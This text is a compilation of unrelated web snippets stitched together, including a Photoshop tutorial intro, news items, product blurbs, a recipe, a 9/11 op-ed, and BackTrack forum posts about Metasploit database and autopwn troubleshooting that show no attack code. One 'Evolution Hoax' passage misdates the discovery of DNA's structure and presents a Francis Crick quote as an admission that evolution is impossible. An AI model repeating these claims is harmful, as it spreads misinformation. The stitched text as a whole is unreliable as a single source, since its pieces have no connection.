Born in Hong Kong, Peter Lin moved to London at 16, and graduated from University of Creative Arts. He now works as creative director of 2xanadu Creative Media studio in Kingston, working on illustration, motion graphics, website design, and other projects for clients around the world.
In our increasingly globalized, online world we have access to all manner of creative styles and influences at our fingertips. In this tutorial, we're going to focus on Chinese traditional art, looking at ways to integrate this style with contemporary Western elements.
See also: 86 Best Photoshop tutorials
Chinese art places a lot of value in the skilful depiction of set elements, such as mountains, clouds, and flowers, as well mastery of watercolour.
Here, Peter Lin shows you how to create a piece that successfully blends Chinese and Western art styles without being cheesy, using Photoshop.
You'll learn how to create soft, Chinese-style clouds using Photoshop's Brush tool, and how to master the painting textures that are typical of Chinese art. You'll also hone your layer masking and gradient control for an elegant, subtle finish.
The rose that Lin used is from Shutterstock; you can buy it from here – or use one of your own.
Adobe Photoshop
Time to complete
2 hours
Project Files
Next Step »


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On-campus interviews are not just for graduating seniors. Many companies with summer jobs and internships will participate in the on-campus recruitment program as well.
In order to participate in on-campus recruiting, you must have an active HireLOYOLA account and complete the three job readiness workshops (Resume Writing, Job Interviewing I and II). Please make sure that your HireLOYOLA profile and resume are kept up-to-date to ensure accurate recruiting.
If you do not have an active resume in HireLOYOLA, you should upload one. Contact The Career Center for a resume appointment or come to our Walk-In Resume Critique days offered on most Wednesday afternoons during the academic year.
Employers: Learn about our on-campus recruiting program and how to get involved.
When the University is closed or has a delayed opening, on-campus interviews and programs with visiting employers will be cancelled accordingly. When the university is closed for part of a day, call 410-617-2232 for information. If no one answers, leave your name and a number at which we can contact you to let you know the status of the interviews and to determine an alternative campus interview date.


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Roseville Electric Press Release
2090 Hilltop Circle
Roseville, CA 95747
(916) 774-5600
(916) 774-5583 [fax]
Subject :
Roseville Electric Celebrates Opening of New Energy Park
Contact :
Vonette McCauley, Electric Public Relations Manager, Roseville Electric 916.774.5625
The City of Roseville along with the Roseville City Council, Roseville Public Utilities Commission, elected officials, and Roseville Electric employees celebrated today the grand opening of the new Roseville Energy Park.
It was just two years earlier on this very site that this same crowd gathered to celebrate the groundbreaking of this monumental capital improvement project for Roseville. After several thousands of hours of planning, construction, and testing, the 12-acre parcel is now a fully functional state-of-the-art power generation facility.
"In our high-tech world, commerce goes hand-in-hand with the dependability of reliable, low-cost electricity," said Mayor Jim Gray. "The opening of the Roseville Energy Park is a critical step in taking our economic prosperity to the next level."
The Roseville Energy Park is a 160 megawatt, natural gas fired plant that uses combined cycle turbines and recycled water from the Pleasant Grove Wastewater Treatment Plant to cool the turbine and generate electricity. Using the best available technology and California's stringent air quality regulations keeps air emissions at a fraction of those produced by the average U.S. power plant.
Guests of the celebration were treated to a brief history of the project and several photos of the construction progress. City and local officials gave brief statements on how the new facility will greatly benefit customers of Roseville Electric and the community.
"The Roseville Energy Park is the City's largest capital improvement project to date and Roseville Electric's first generation facility," said Tom Habashi, Roseville Electric's Utility Director. "The benefits this energy facility will bring to the area are substantial. By providing up to 40 percent of the City's electricity needs, we truly are in control of our energy destiny."


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Steelers quarterback Ben Roethlisberger went through his second straight day of limited practice on Thursday. That might be seen as a positive by many, but Ed Bouchette, a Steelers beat writer for 27 years, says that's not the case. Bouchette wrote that Roethlisberger "hasn't gotten any closer to playing on Sunday" against the Ravens, and "his chances of playing may be less today than they were on Tuesday." Roethlisberger is trying to make it back after missing just two games due to dislocated ribs and a sprained throwing shoulder.
Fantasy Analysis:
When it comes to the Steelers, there is no more trustworthy voice outside of the organization than Bouchette. Roethlisberger admits that he is still feels pain as well as a lack of strength in his right shoulder. He pretty much insinuated that he won't play if he can't throw deep or with good velocity. He'll be the best judge of that, but when it comes down to it, I think Roethlisberger will go right up until kickoff, doing whatever he can to give himself a chance of being active.


text: After a fresh new install of BT5R2 and running updates and dist-upgrade, my wireless Alpha card (AWUS036H) has become unstable. The signal is much weaker than it was before, my internal card is picking up twice as many hosts. Has anyone else experienced this? Open to any tips or suggestions as I am new to Linux and at a loss with this one there is not much chatter anywhere else about this particular issue.


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Bookmark this site
STAMFORD, CT -- Longtime Nestlé Waters North America Inc. president and chief executive Kim Jeffery will step down from the top spot after being there for 20 years. Nestlé veteran Tim Brown will succeed him, beginning in February.
Brown, 49, has served as president and chief executive of Nestlé Canada since 2010. Prior to that, he spent 22 years at Nestlé Waters North America, most recently heading retail operations as executive vice-president and general manager until transitioning to his current role.
Jeffery, 64, joined the company in 1978 as a sales manager and assumed the company's top post in 1992. Under his leadership, the company has grown organically from a $650 million in revenues business 20 years ago into the leading bottled water company in North America, with sales of $4.4 billion in 2011 and seven of the top 10 U.S. brands.
Jeffery will assume a nonexecutive chairman position, effective Feb. 1.
In Canada, Brown will be succeeded by Shelley Martin, who is currently president of Nestlé Canada's frozen division.


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Online shopping was up 26 percent on Cyber Monday compared with the same time a year ago, according to figures released late Monday by IBM Benchmark.
That equates to big bucks.
Shoppers are expected to spend $1.5 billion on Cyber Monday, a 20 percent gain over last year, according to the research firm comScore. That would not only make it the biggest online shopping day of the year, but the biggest since comScore started tracking shoppers' online buying habits in 2001.
Sales from mobile devices, which include tablets, rose 10.2 percent, IBM Benchmark said.
Michelle Minch, who owns the Moving Mountains Design home-staging business in Pasadena, said she found some good deals on Cyber Monday.
"I got some furniture and accessories for my business," she said.
Were the deals really that good?
"Yes and no," she said. "I was sent some Cyber Monday sales alerts, but I also did a search on my own and found other bargains that were better on Amazon that weren't Cyber Monday deals."
Minch says she likes the ease of shopping online.
"I'm totally comfortable with that because I can do it in my pajamas at eleven o'clock at night," she said. "And I can really zero in on the price and find what I want. I'd love to buy everything locally but if I'm paying a 30 percent premium to do it ... I'm not going for that."
Heath Meyette, a user interface expert with Think Tank Design in Chino Hills, said consumers are increasingly gravitating to online shopping.
Think Tank Design provides print and online creative services for companies that have online stores as the core of their marketing plan.
"I think the thing that has most affected this is the comfort level people have with computers in general," Meyette said. "We have young people coming of buying age and they have to have things. They don't bat an eye over buying things online - it's kind of expected."
On Monday, JC Penney's website featured a variety of Cyber Monday deals, including a Liz Claiborne V-neck sequined sweater priced at $17 compared to the usual $25 price.
Walmart advertised a Philips Norelco electric razor at 30 percent off and Target posted a Canon SX150 digital camera for $99.99 compared with the regular price of nearly $200.
Amazon.com started its Cyber Monday deals at 12:01 a.m. Monday and was offering as much as 60 percent off a Panasonic VIERA 55-inch TV that's usually priced higher than $1,000.
Elizabeth Harris, marketing and communications manager for an Industry-based technology firm, often shops via the Internet and said she would likely jump online later Monday to scope out the deals.
"I mainly buy special-size clothes because I'm tall, but I also shop for stuff you find on Amazon, like books, kitchenware or maybe custom-made jewelry," she said.
Harris said she's not a fan of the frenzy that surrounds Black Friday.
"I don't like to deal with crowds," she said.
IBM Benchmark also found that the iPhone is driving more retail shopping than any other mobile device, including the iPad and Android.
Jenny Chai, a senior public relations manager for Newegg.com, an Industry-based e-tailer focused on electronics, said her company's online business usually triples on Cyber Monday.
"The hot items so far this holiday season are laptops, tablets, TVs, digital cameras and video games," she said. "We also have some great deals on hard drives, monitors and other computer components."
Newegg figures its online traffic will continue to ramp up as more consumers turn to online shopping versus shopping at brick and mortar stores.
"Currently, about 10 to 15 percent of our total traffic comes from mobile devices and we expect this will continue to increase next year as well," Chai said.
How well retailers fare on Cyber Monday will offer insight into Americans' evolving shopping habits during the holiday shopping season. With the growth in high speed Internet access and the wide use of smartphones and tablets, people are relying less on their work computers to shop than they did when Shop.org, the digital division of trade group The National Retail Federation, introduced the term "Cyber Monday."
The Associated Press contributed to this report.
626-962-8811, Ext. 2701


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As part of a multi-year, comprehensive series of airfield improvements, Baltimore/Washington International Thurgood Marshall Airport will close one of its primary runways for 60 days starting on August 20. Runway 10-28 will be temporarily closed in order to complete a runway reconstruction project.
Runway 15R-33L, BWI Marshall's other major commercial runway, will remain open and available for airline operations during the work on Runway 10-28. During the temporary closure of Runway 10-28, local residents may notice a change in airline flight patterns near BWI Marshall. As with any major airfield construction project, the exact schedule is dependent on weather conditions.
Over the next several years, BWI Marshall will conduct a number of major airfield rehabilitation projects, along with Runway Safety Area (RSA) improvements. Airports across the country must meet updated Federal Aviation Administration (FAA) requirements for RSAs by the end of 2015. RSAs are the surfaces surrounding airport runways that provide important safety margins for arriving and departing aircraft.
The airfield work at BWI Marshall will include runway, taxiway, deicing pad, and hold pad pavement reconstruction, RSA improvements, and the installation, relocation, or upgrade of airfield navigational aids.
Last year, BWI Marshall worked to complete a major first phase of the overall airfield program. In September 2011, the Airport reconstructed the intersection of the two primary commercial runways. That work required the closure of the two major runways for 54-hours over one weekend.
Runway 10-28 has been closed periodically throughout the summer in order to prepare for the planned 60-day closure.
Jonathan Dean


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Two Convenient Tarrytown Locations!
Ann Zarider, MEd, Director, South Broadway
Kathy Meladossi, BA, Site Director, Leroy Avenue
Ronnie Brockman, BA, Assistant Director
At the JCC Early Childhood Program:
We believe that early experiences last a lifetime.
Our Early Childhood Programs create an atmosphere for learning that is developmentally interactive, inclusive, warm, nurturing, respectful and responsive to the needs of each individual child and his or her family.
Hands-on exploration, experimentation, and creative expression are at the core of our play-based program.
We follow the best practices of the National Association of the Education of Young Children and adhere to the guiding principles of the New York State Pre-Kindergarten Foundation for the Common Core. The children celebrate Jewish holidays. The Jewish and human values they learn will impact them throughout life.
We seek to create a partnership with you.
We encourage diversity and welcome all families to our inclusive community. Early drop off and extended hours are available. We invite you to meet our engaging teachers, tour our clean, well-equipped, child-centered programs, and look forward to welcoming you to our community.
About Our Staff
The directors of our programs hold degrees in education and early childhood and have a combined experience of almost 70 years in the field. We are members of the Jewish Early Childhood Association of the Board of Jewish Education of Greater New York. The Early Childhood Program is licensed by the New York State Office of Children and Family Services.
Contact Director Ann Zarider at (914) 366-7898
Director Kathy Meladossi at (914) 631-1607


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'"It's been amazing what one day makes," said Numminen. "Everyday, I've been feeling better. There is actually no pain right now. I'll start going to rehab next week [in Buffalo]. We'll see how things are going to go. I think that six-week [period] is the main cure. It's the major date to make sure that everything heals well. After that, I think it's back to hockey stuff."'
The Sabres Report - October 5, 2007


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One Direction tops Billboard's annual '21 Under 21' list
Listen to One Direction on iHeartRadio
It looks like the momentum behind One Direction is still far from slowing down.
The British boy band has topped the annual "Billboard" list, "21 Under 21," ranking the most successful young artists. Harry Styles, Liam Payne, Niall Horan, Zayn Malik and Louis Tomlinson were runners-up on the list in 2012, behind Justin Bieber.
This year, the success of their massive world tour and concert movie the U.S. gives them the edge to earn the special recognition. It's the last year they will be eligible as well, as some members will be above the legal drinking age in the U.S. the next time "Billboard" starts ranking. Though One Direction has yet to release an album this year, their upcoming "Midnight Memories" is expected to turn out the sales again.
Justin Bieber, Miley Cyrus, Ariana Grande and Earl Sweatshirt round out the list's top five. "X Factor" alums Emblem3, Fifth Harmony and Cher Lloyd all made the "21 Under 21" as well.
Congrats guys!
Photo Credit Getty Images


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Is there a provision to install amplifie in the factory installed music system for Maruti Celerio ?
Celario vxi remote lock female connector is provided under the dashboard?
Hi there, we would suggest you to contact your nearest service center for this information. Click here to fetch the information of your nearest service center.
What is the waiting period for Maruti Celerio?
difference between difefrent variant
Maruti Celerio has 20 variants which include petrol, diesel and CNG as its fuel type.
"XI" indicates that car is equipped with a petrol engine and "DI" indicates that car is equipped with a diesel engine.
LXI stands for base variant.
VXI means it is a full option car.
ZXI means added featured car along with full option like ABS, Airbags etc.
AT means that the car comes with auto gear shift transmission only.
Green means it is associated with a CNG fuel kit.
If you see LDI, VDI, ZDI - it is a car with respective features and the difference is that it replaces XI with DI which means that it is a diesel car.
In general, throughout the range, Maruti nomenclature shows that the LXI/LDI are the lowest versions loaded with just the bare minimum. The VXI/VDI are the next that come in the line with some added creature comforts and cosmetic beauty. The ZXI/ZDI are the top end variants loaded to the boot with all the possible cosmetics and comfort equipments that can be packed into the car.
Optional means that the respective variant has some additional features in comparison to its original variant.
Click here to see the overview of Maruti Celerio.
For further assistance, feel free to reach us on our toll-free number 1800-200-3000 from Monday to Friday ( 10 AM-7 PM).
Hi...is airbags is a standard feature in Celerio ZXI model?? or it is optional and i have to pay extra for that?? i got different answer from different dealer...pls advise...
What is difference between an LXI model and VXI model of Maruti Celerio ?
It will help us serve you better content and best deals


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Hello all, having major issues, im a very quick learner, and have searched the forums aswell for similar issues,
seems i cannot for the life of me delete my Databases via Postgres-msfconsole
i use db_destroy and also used db_destroy firstname.lastname@example.com/database (tried both)
and i get this (even after changing both root and the postgres password)
-----------------------------------------------------------------------------------------------------------------------------[*] Warning: You will need to enter the password at the prompts below
dropdb.bin: could not connect to database postgres: FATAL: password authentication failed for user "root"
could not change directory to "/root"
psql (8.4.8)
Type "help" for help.
postgres=# ALTER USER root WITH PASSWORD 'Password';
postgres=# \q
could not save history to file "/home/postgres/.psql_history": No such file or directory
root@bt:~# sudo passwd -d root
passwd: password expiry information changed.
root@bt:~# sudo su root -c passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@bt:~# clear
also did the same to postgres ect ect aswel. seems it spits out errors, also tried deleting the database with the postgres GUI, is there anyone whom can help me please?
thanks all.


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Silhouettes by Cassidy Alexander, LAKEVIEW
Building Blocks Toy Store
Saturday, February 1, 2014 from 11:00 AM to 6:00 PM (CST)
Who's Going
San Francisco, California
London, United Kingdom
Florence, Italy
Event Details
Silhouette artist, Cassidy Alexander, cuts freehand from a live sitting, in the traditional way using special folded black paper. Each unique silhouette is hand-mounted with special glue on a 5"x7" art board, ready to be framed or placed in your scrapbook. It's an heirloom to last for many generations.
$24 per silhouette
$10 per duplicate
$12 framed, black oval
All work is guaranteed to your satisfaction.
Please arrive 15 minutes before your booked time. Children only have to sit for a few minutes and we will have some special "tricks" to help them do that.
Credit/debit cards and cash accepted.
When & Where
3306 N Lincoln Ave
Saturday, February 1, 2014 from 11:00 AM to 6:00 PM (CST)
Add to my calendar


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Evolution Hoax
Advances in genetic science and the discovery of nucleic acids—DNA and RNA, in other words—posed new problems for the theory of evolution, which seeks to account for the origin of life in terms of chance and which was already unable to offer any consistent explanation for the cell's most basic molecules. In 1955, two scientists, James Watson and Francis Crick, revealed the unbelievably complex structure and design in the DNA molecule. (See DNA.)
DNA is found in the nucleus of each of the 100 trillion cells in the body, containing the flawless blueprint for the human body.
Francis Crick had spent years defending the theory of molecular evolution. But after his discovery of DNA, even he admitted that it was impossible for such a complex molecules to come into being by chance, spontaneously, as the result of a process of evolution:
An honest man, armed with all the knowledge available to us now, could only state that, in some sense, the origin of life appears at the moment to be almost a miracle.95
95 Francis Crick, Life Itself: Its Origin and Nature, New York: Simon & Schuster, 1981, p. 88.2009-08-14 15:44:47


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The Accessibility Evaluation Facility supports industry and government through the measurement of the ease of use of devices, services and packaging, the development of design solutions targeted at improving ease of use for all users, and research into the application of emerging technologies to universal design.
Our customer list includes both government and industry sponsors. In addition, the AEF serves as the official test lab for the Arthritis Foundation's Ease of Use program, the Arthritis Society of Canada's Arthritis Friendly program, and similar programs for Arthritis Australia and Arthritis New Zealand.
The Accessibility Evaluation Facility was developed to support industry and government by
- Developing test methodologies designed to measure accessibility and usability
- Measuring ease of use and comparing the ease of use of related products
- Understanding user abilities and functional capabilities
- Defining requirements for new product development
- Providing training to managers, designers, and federal procurement officials
- Working with design teams to develop more accessible products
- Prototyping accessible technologies
- Conducting research into emerging technologies, universal design practices, and government policy
- Developing functional limitation simulation kits for use in disability awareness training
Accessible Design
AEF research into accessible product design has led to the creation of the Accessibility Assistant, a website that supports the design and procurement of accessible products and services. The site provides detailed information on disability legislation, and provides accessible design information tailored to specific products, including copiers, laptops, and point of sale machines.
Disability Awareness
The AEF has pioneered evaluation methodologies and design techniques focused on identifying and addressing the needs and aspirations of all consumers, including consumers with functional limitations. This experience has led to the development of the Arthritis Simulation Gloves, which inform designers and engineers of the difficulties these users experience as a result of consumer product design. The Arthritis Simulation Gloves are a tool that can bring insight to design when it is not possible to recruit individuals with arthritis for product evaluations. Although the use of Arthritis Simulation Gloves is not a substitute for human-centered design research and analysis, they provide a greater understanding of the issues associated with arthritis.
For more information or to purchase Arthritis Simulation Gloves, visit the Arthritis Simulation Glove information page.
For more information, contact:
Dr. Brad Fain
Human Systems Engineering Branch
Systems Evaluation Division
Electronic Systems Laboratory
Georgia Tech Research Institute
Atlanta, GA 30332-0840
Telephone: 404-407-7261
E-mail: email@example.com


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I know people with the following (personally have the ones marked *):
I'd say dont' bother with things like Security+ (the IT security industry's A+ equivalent).
There are probably some SANS courses worth taking, as well as any courses offered via Blackhat/Defcon.
Somewhere I bookmarked a breakdown of popular IT Sec certifications, I'll see if I can dig up the link.
Personally I don't take a course or bother with a certificaiton unless a lot of customers are asking for it or a number of people recommend it to me. (Edit: Or it's really cheap and a VERY interesting topic)


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Fox Obscures RNC Hypocrisy Over Proposed Primary Debate Boycotts
Blog ››› ››› ELLIE SANDMEYER
Fox previewed the Republican National Committee vote on Chairman Reince Priebus' proposed boycott of 2016 primary debates hosted by CNN and NBC over their planned productions about Hillary Clinton, but ignored the RNC's hypocrisy in not extending the ban to Fox News after reports surfaced that Fox Television Studios may produce the NBC miniseries.
Priebus announced on August 5 that the GOP planned to boycott any primary debates hosted by the news divisions of CNN and NBC if the networks' sister companies, CNN Films and NBC Entertainment, failed to abandon plans to produce and air programs about Hillary Clinton in advance of the 2016 presidential election. Like Media Matters, CNN and NBC on-air personalities expressed concerns about possible conflicts of interests and problems with objectivity regarding the Clinton productions.
During an August 6 interview on Fox's America's Newsroom, Priebus hinted that his true goal was avoiding moderators likely to refuse his candidates special treatment -- as he put it: "moderators who are not serving the best interests of the candidates." And after The New York Times reported on August 9 that Fox's sister company Fox Television Studios may end up producing NBC's planned Clinton miniseries, he admitted that the ban would not extend to Fox News.
But Fox & Friends' August 16 coverage of the RNC vote made no mention of Priebus' hypocrisy or of Fox Television Studio's possible involvement in the Clinton productions. Co-host Brian Kilmeade only said that delegates at the RNC would be "giving serious thought to boycotting the 2016 debates if CNN and NBC go ahead with plans to air special programs about Hillary Clinton" in an upcoming RNC vote. Fox correspondent Molly Line followed up with more detail, but similarly omitted the story's full context [emphasis added]:
LINE: Well, this meeting today really could have a big impact on debates, especially in the near future. The RNC expecting to have this vote today weighing in on whether or not to ban CNN and NBC essentially, for the RNC to refuse to participate in debates with those networks, because they're planning to air documentaries featuring Hillary Clinton. The vote would mean the RNC would not partner with those networks in the presidential primary debates in 2016, and they wouldn't sanction any primary debates that they sponsor. According to the RNC Communications Director Sean Spicer, they don't want a news organization tipping the scales in this election.
- Posted In
- Elections
- Network/Outlet
- Fox News Channel
- Person
- Brian Kilmeade, Molly Line
- Show/Publication
- FOX & Friends
Instructions for signing up and claiming your comment history are located here.
Updated rules for commenting are here.


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Frequently Asked Questions (pdf)
Information for Victims/Survivors
Information for Medical Providers
The time immediately following a sexual assault is often terrifying, embarrassing and confusing. Having a sexual assault exam is traumatic in itself, let alone worrying about how to pay for it. The SAVE Fund makes medical exams available to every victim of sexual assault in the Oregon - regardless of their ability to pay
No tax dollars go to fund this critical need. The SAVE Fund relies on your generous contributions in order to provide this service to victims of sexual assault in Oregon. Thousands of victims in Oregon have been helped by the SAVE Fund since services started in March 2004.
One hundred percent of your donation goes toward the cost of a sexual assault medical exam. You contribution is tax-deductable.
If you wish to donate using your credit card please indicate the amount you wish to contribute below at a minimum of $10 if paying online. You will be redirected to a secure server where you will be able to complete your transaction.
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Minimum $10 donation online
.00 Amount you wish to donate (whole dollars only, please)
Minimum $10 donation online
If you would like to donate by check please make it out to DOJ Crime Victims' Services SAVE Fund and mail it to:
Oregon Department of JusticeCrime Victims' Services Division – SAVE Fund1162 Court Street NESalem OR 97301-4096
Thank you in advance for your generosity and compassion.
Oregon Attorney General'sSexual Assault Task Force
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One breakdown can mean losing your kid forever
In August 2009, Mindi, a 25-year-old struggling new parent, experienced what doctors later concluded was a psychotic episode. She had been staying in a cousin's spare basement room in De Soto, Kansas, while trying get on her feet after an unexpected pregnancy and an abusive relationship. She'd been depressed since her daughter was born and was becoming increasingly distrustful of her relatives.
Isolated, broke and scared, one Saturday morning, she cracked. She woke to change her 5-month-old daughter's diaper. When Mindi looked down, she believed the baby's genitals had been torn.
Mindi's mind raced for an explanation. The one she came to? That her baby had been raped the night before; that someone—she did not know who—had put sedatives in the air vents.
Mindi called her pediatrician's office. A receptionist told her to take her daughter to a children's hospital in nearby in Kansas City, Missouri. Doctors there found no evidence that the girl had been harmed or that any of what Mindi claimed had actually happened.
After Mindi started arguing, medical staff sent her for a psychological evaluation and notified local child welfare authorities, according to court records. (As is typical in child welfare cases, the court documents do not include the full names of anybody in the family. Mindi has asked ProPublica to use only her first name, as did other parents in the story.)
That night, authorities took emergency custody of Mindi's daughter, who is referred to in court documents by her initials, Q.A.H. A court-appointed doctor later concluded that Mindi had experienced postpartum psychosis.
But Mindi rebounded after the episode. She began to attend therapy and to see a psychiatrist, who prescribed an antidepressant. She found a job as a shift manager at Kmart and moved into her own apartment. Each morning, she'd call the foster home where her daughter had been placed and she'd read Q.A.H. a book.
In time, her psychiatrist, therapist and even a panel of judges concluded that Mindi should get her daughter back.
Yet four years later, after a protracted series of court fights, Mindi does not have her daughter back.
Read The Full Article On The Daily Beast
More articles from The Daily Beast:
- No, PETA, Cow Milk Does Not Cause Autism
- As Parents We're All Gun Violence Cowards
- Joe the Plumber's 'Dead Kid' Callousness
© 2013 Newsweek/Daily Beast Company LLC


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Monday, April 25 2011 - First Responders/Health Effects
American Shame
by Donna Marsh O'Connor
Shame on Representative Cliff Stearns and shame on each and every one of the representatives who voted to make compensation for 9/11 first responders reliant upon a check for "terrorist" activities. Shame is a concept that blankets American actions as it responded to that grave day. I won't belabor the many instances where this nation either killed or maimed others either in retribution or in the pretense at keeping the rest of us "safe" but I will say that this last act of betrayal by elected officials places all of us in greater danger. Frankly, if we don't counter this betrayal, we deserve what we get.
What has come over us? Have we completely lost the ability to function as compassionate adults in an imperfect world? Think for one minute about the ramifications of such an act:
On 9/11/2001 when many people fled the horror of the scene at Ground Zero, countless firefighters, police officers, and brave civilian volunteers rushed to the scene to help. I believe that my own daughter who was on that day four or five months pregnant was almost home free precisely because others helped her almost, almost to safety. How many others walked away because they were provided help? We can only guess at the numbers. How many families of first responders are like my own -- ten years out still suffering the effects of PTSD? We will never be whole again.
And now, before the government hands over fair compensation, compensation provided ten years post what would have been considered justice, this final slap. You must prove you were not a perpetrator of the horror in order to get what you justly deserve at the very minimum. Had these folks asked the same of their own government prior to that day, more would have died.
Imagine that this is the message we send to future people with an impulse toward compassion. Imagine what we teach our future generations about the value of service.
Those in need of this compensation may indeed be living less than stellar lives. They may be terrorists. They may be criminals. They may be serial killers, perverts, child abusers, pick your demon. Who the hell are you? There may indeed be abuses of any system. This will not prevent those abuses. This is a rhetorical move to once again pad political careers by keeping the citizenry at war. Shame on all of you.
On that day America needed the help of our first responders. On that day and for months after, they provided that help at great cost to their own futures. To be sure we will need the help of others again. In a world so stingy with trust, compassion and dignity, we surely will have much more violence and next time, they may think twice.
We throw the term hero at sports figures. We deny that stature to those who really serve. I am ashamed that you think you represent me.
by Michael McAuliff
WASHINGTON -- A provision in the new 9/11 health bill may be adding insult to injury for people who fell sick after their service in the aftermath of the 2001 Al Qaeda attacks, The Huffington Post has learned.
The tens of thousands of cops, firefighters, construction workers and others who survived the worst terrorist assault in U.S. history and risked their lives in its wake will soon be informed that their names must be run through the FBI's terrorism watch list, according to a letter obtained by HuffPost.
Any of the responders who are not compared to the database of suspected terrorists would be barred from getting treatment for the numerous, worsening ailments that the James Zadroga 9/11 Health And Compensation Law was passed to address.
It's a requirement that was tacked onto the law during the bitter debates over it last year.
The letter from Dr. John Howard, director of the National Institute for Occupational Safety and Health, informs medical providers and administrators that they should begin letting patients know before the new program kicks in this July.
"This is absurd," said Glen Kline, a former NYPD emergency services officer. "It's silly. It's stupid. It's asinine."
"It's comical at best, and I think it's an insult to everyone
who worked on The Pile and is sick and suffering from 9/11," said John
Feal, a former construction worker who lost half a foot at Ground Zero and runs
the advocacy group Fealgood Foundation.
The provision was added in an amendment by Rep. Cliff Stearns (R-Fla.) during the heated debate over the bill in the House Energy and Commerce Committee last May.
Sept. 11 responders in the committee room at the time mostly shook their heads at the move, which Democrats accepted on a voice vote after battling to bar other amendments on abortion and immigration that might have killed the bill.
But suddenly the point is no longer just a strategic concession to get a law passed.
As doctors and administrators begin acting on the federal instructions, participants in the 9/11 treatment and monitoring programs will soon be told that their names, places of birth, addresses, government ID numbers and other personal data will be provided to the FBI to ensure they are not terrorists.
Howard's instructions include a sample letter to responders designed to minimize alarm.
"Although neither we nor [the Centers for Disease Control]/NIOSH anticipate the name of any individual in the current Programs will be on the list, CDC/NIOSH is expressly required by law to implement this particular requirement of the Act," it says.
"Thank you for your understanding. We look forward to working with you and ensuring that you continue to receive uninterrupted services under the new WTC Health Program," it concludes.
Feal, who counts hundreds of first responders in his foundation's membership, predicted the letters would not go over well.
"When cops and firefighters get this at home, they're going to hit the roof," he said.
Kline, who sits on the Fealgood Foundation's board, said he personally wasn't offended, but couldn't think of a good reason for cops and firefighters to be screened by the FBI in order to keep getting treatment.
"I mean, who are we even talking about -- the undocumented workers who cleaned the office buildings?" wondered Kline Thursday. "We know who all the cops, firefighters and construction workers were. They're all documented.
"Is the idea that a terrorist stayed to help clean up? And then stayed all these years to try and get benefits?" he asked. "In all the things I've seen out of Washington, this probably takes the cake."
Some are more understanding.
"Do we want terrorists getting money? No," said Anthony Flammia, a former NYPD Highway Patrol officer and Sept. 11 responder. "How do you know if there were any terrorists there? Were they there as observers, watching? Probably."
But he noted that his perspective likely would not be shared, especially if people whose names are similar to actual terror suspects get flagged, as happens with air travelers.
"I've got nothing to hide, so it's no big deal for me, but there's got to be safeguards in place to protect the people who are innocent," Flammia said. "It's going to be controversial," he added. "It's probably going to create an uproar, but I think it will dissipate. I hope they're ready to answer people's questions."
Congressman Stearns said in a statement that his intent was to answer exactly the questions raised by Flammia.
"This amendment was adopted in the full Energy and Commerce Committee without opposition and it merely requires that the names of those receiving health benefits be cross-checked with the terrorist watch list to ensure that no terrorists get these benefits," Stearns said.
"These benefits are not just for our first responders; nearly anyone who was in the vicinity or worked on a cleanup crew afterward is eligible," he noted.
The prohibition is included in two parts of the bill. One specifically covers responders, while the other deals with all survivors, including office workers, bystanders and residents.
Feal acknowledged that the terrorist screening has to be done because it is the law, and that the letters have to go out.
But he holds Stearns responsible, as well as several other Republicans who were hostile to the 9/11 bill, and tried to tack all manner of amendments onto it.
"I think Congressman Stearns is stabbing at pettiness. He's a buffoon," Feal said. "We get sicker and die, and they're going to disseminate a letter wondering whether we're terrorists or not. ... I think everybody needs to start showing a little more compassion."
represent me.
The views expressed in this article are the sole responsibility of the author, who is solely responsible for its content, and do not necessarily reflect those of 911Truth.org. 911Truth.org will not be responsible or liable for any inaccurate or incorrect statements contained in this article.
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In large microwavable bowl, melt Candy Melts® according to package directions. Stir in corn syrup; mix thoroughly. Turn out mixture onto waxed paper; let set at room temperature to dry. Wrap well with plastic wrap; store at room temperature until needed, at least 24 hours. May be kept up to 3 weeks.
To use: Candy clay will be very hard at the start; knead a small portion at a time until workable. If candy clay gets too soft, set aside at room temperature or refrigerate briefly. When rolling out candy clay, sprinkle work surface with cornstarch or cocoa powder (for cocoa clay) to prevent sticking; roll to approximately 1/8 in. thick.
To tint: White candy clay may be tinted using Candy Color or Paste (not liquid) Icing Color. Knead in color until well blended.
Makes about 1-1/4 cups Candy Clay.


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Data recovery is one of the most important services a computer company can provide. By its very nature data can be priceless and oftentimes irreplaceable. Given the value then, you need to make sure you're dealing with a reputable company when you try to recover lost files. If you suspect your hard drive is beginning to fail, the first thing to do is to stop using it. That means shutting down your computer. Any further writing to the hard drive can make your data more difficult to recover by increasing the chance of corruption. Your best bet for getting back lost files it to bring it to an expert who can properly analyze the type of damage.
Our knowledgeable techs will do everything they can to get your information back, regardless of the condition of your computer. We take special care to use only the most gentle methods initially and then gradually advance to the more time consuming and involved techniques if we're not successful. When a hard drive first starts showing signs of trouble, it's usually a good idea to stop using immediately and get it checked out. Often over time, the use of the hard drive will make things worse, especially if you are dealing with a hardware issue. For example, if the heads of the drive are making improper contact with the platter, you may find yourself losing a lot more data than you would have otherwise. If software methods are unsuccessful, the ultimate repair step is to disassemble the drive and extract the internal magnetized platters. This is where your data is stored, and it can be accessed but only in a 99.99% sterile environment. In a clean room such as this, specialized readers may be able to recover files that other methods do not.


text: I bought one of these things and they are incredible wax removers. Just scrape most of the heavy coat of wax off and then buff/scrub all the little bits of wax you missed and it will make the board look brand new. You gotta put some elbow grease into it but it is definitely worth it. Also do it outside because the pumice gets everywhere. Reusable and the dirtier it gets, the better it works. Recommend to anybody


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Product Reference: 44262
Hybrid combination of Plextonium polymer and TPU provide optimal protection
Incipio's DualPro for the Samsung Galaxy S5 case is made for double the protection. The inner silicone and outer Plextonium materials work together to keep your device safe in any situation.
Provides additional bump and shock protection
The inner TPU layer dissipates the force of impacts and drops away from the vulnerable corners and edges of the device for additional bump and shock protection.
Designed for the Samsung Galaxy S5
The DualPro case from Incipio is made specifically for the Samsung Galaxy S5 and as a result you can be sure of a perfect fit. It also gives you complete access to the phone's screen, side buttons and the dock connector at the bottom. This means that you'll never need to remove the phone from the case if you want to access any feature.


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After struggling for nearly a day.....a fix!!...I couldn't figure out how to drop the old database...thank you so much!
I've spent a lot of time trying to get my autopwn working after numerous issues with the database drivers. Here's what I did to get it fully functional.
1. You have postgresql installed and you have a valid username and password.
1. Open autopwn.py in gedit (or nano).
#gedit /pentest/exploits/fasttrack/bin/ftsrc/autopwn.py
2. Scroll to the bottom.
